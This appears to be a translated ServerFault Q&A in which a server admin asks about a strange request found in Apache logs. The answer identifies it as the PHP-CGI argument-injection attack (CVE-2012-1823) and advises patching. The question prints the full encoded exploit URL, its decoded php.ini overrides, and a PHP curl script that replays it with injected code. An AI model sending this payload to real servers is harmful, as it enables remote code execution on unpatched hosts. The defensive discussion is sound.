Apache-2.2

phppath/php 作為 URL 有奇怪的行為,似乎是一種攻擊

  • August 17, 2013

警告:以下請求可能會損害您的伺服器。

我在 apache 日誌中有一些奇怪的東西:

"POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 276 "-" "-"

這表示:

POST /phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n

如您所見,這給出了 200,但是當我使用 curl 執行它時:

<?php
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "http://aussehenwie.de/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "<?php echo 'hacked'; ");

echo curl_exec($ch);

curl_close($ch);
?>

它返回一個 404。當我從終端執行它時,這是一樣的。

為什麼呢?這個尷尬的網址在做什麼?

這被稱為 CGI 攻擊之一,當有人使用未打更新檔或配置不正確的 Web 伺服器時有效。

漏洞範例: http ://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823

它覆蓋伺服器上設置的 php.ini 設置並從輸入/URL 執行文件。

如果您按時更新您的軟體,或者您不使用 Web 伺服器上的 CGI 介面(在 apache 的情況下 - mod_cgi mod_fastcgi mod_fcgid 等,即不是 mod_php)與 PHP 互動 - 沒有什麼可擔心的。像這樣的持續攻擊/掃描具有永久性行為。

引用自:https://serverfault.com/questions/531682